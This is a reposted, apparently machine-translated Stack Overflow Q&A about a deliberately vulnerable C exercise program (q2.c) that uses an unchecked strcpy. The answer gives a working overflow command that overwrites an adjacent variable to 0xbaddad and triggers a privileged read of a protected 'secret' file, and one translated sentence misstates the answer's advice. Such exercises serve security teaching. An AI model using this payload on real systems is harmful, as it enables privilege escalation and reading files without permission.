gpt4 book ai didi

memory - C 中的缓冲区溢出漏洞

转载 作者:行者123 更新时间:2023-11-30 16:18:29 25 4
gpt4 key购买 nike

下面给出的是文件 q2.c 中的代码

我需要使用内存漏洞来读取我的组没有读取权限的文件“secret”的内容。

我尝试使用 ./q2 $(python -c 'print "\xad\xdd\xba"*1024 ') 获取文件“secret”的输出(查看第 28 行),但可能我犯了一些错误。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char **argv)
{
// the struct is used to ensure the loc variables are in the same order
// without struct, compiler can swap these around making expolit impossible
struct {
char buffer[1024];
volatile int changeme;
} locals;

locals.changeme = 0;

if (argc != 2) {
printf("Usage: q2 <some string>\n");
return 1;
}
// copy argument to the buffer
strcpy(locals.buffer, argv[1]);

// reveal the secret if "changeme" has been changed
if (locals.changeme == 0xbaddad) {
setreuid(geteuid(),getegid());
system("cat /home/q2/secret");
}
else {
printf("Try again!\n");
}
exit(0);
}

最佳答案

当您从命令传递参数时会出现问题:

$(python -c 'print "\xad\xdd\xba"*1024 ')

这里的\xad\xdd\xba,实际上占用了3个字节,所以变成了3*1024字节。而且 1024 不能被 3 整除,如果缓冲区大小为 1023,那么它就可以工作。

所以不要这样尝试:

$(python -c 'print "\xab" * 1024 + "\xad\xdd\xba"')

它将用 \xab 填充缓冲区,然后对于接下来的三个字节,它将用您想要的值填充整数。

关于memory - C 中的缓冲区溢出漏洞,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/55889028/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com